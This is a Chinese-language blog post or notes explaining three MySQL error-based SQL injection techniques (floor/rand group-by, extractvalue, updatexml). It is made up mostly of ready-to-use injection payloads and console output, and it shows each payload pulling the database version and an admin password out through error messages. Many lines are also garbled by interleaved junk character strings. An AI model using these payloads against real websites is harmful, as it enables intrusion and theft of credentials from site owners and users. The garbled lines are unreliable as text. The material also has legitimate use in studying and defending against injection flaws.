关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
5 V" r1 ~0 Q% Y; R8 U- d实际测试环境：
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9 o. C6 R3 X2 o- j) [mysql> show tables;
& A% g7 p  U* G9 n+ T- M+ A+----------------+
" l9 F8 j! s& `5 l; d| Tables_in_test |
+----------------+
| admin          |
( ?+ L  b$ i/ G4 |# s| article        |
+----------------+



mysql> describe admin;
* Z: P  i  p6 J  N+-------+------------------+------+-----+---------+----------------+
, U7 G4 y* h7 Y+ w5 H| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+


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mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
! J4 Y! `/ x5 ^# i: r  L* {: Q| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
' L6 k+ i4 z1 R9 }; K' `| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
- g+ z3 W0 N* t! s* F+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
' [6 ]" _# o" F2 Zfrom information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
) c- X" e4 J/ Fgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
4 G$ [3 i" i0 N& G; b5 w+----+-------+---------+
|  1 | test  | do it   |
& W7 N6 z6 n0 ]  F0 i: c6 J. j+----+-------+---------+
4 H# w' s7 m1 {: p7 {2 i假如id输入存在注入的话，可以通过如下语句进行报错。
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/ l) |( l1 U1 e2 E6 vmysql> select * from article where id = 1 and (select 1 from
4 N9 y6 p" h6 H2 w% B6 h(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
4 J# @% ^2 J2 U8 u. AERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
4 ]& \9 W8 \' d  |# K( K9 Z例如我们需要查询管理员用户名和密码：
Method1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

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+ [; J4 {" f& s) Fmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
/ h" ]8 `5 M! |6 `ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) o, ?5 w5 G* I7 K/ L, c$ p4 Z2、ExtractValue
测试语句如下
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9 V0 `) R# F% N4 j/ j5 {and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
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( T7 u, t. E3 O7 D/ F/ f' l, tmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
% Z" m8 j9 C) K- x; y( X(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3 R  G; e" e8 V; ^; d3、UpdateXml
测试语句
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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
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7 I% x, Q0 f3 i6 `6 e9 Amysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
: Q  c1 D8 J0 ^, K' E(select pass from admin limit 1),0x5e24),1));
; L, O0 d9 h( ~& @/ [6 S, K# x( AERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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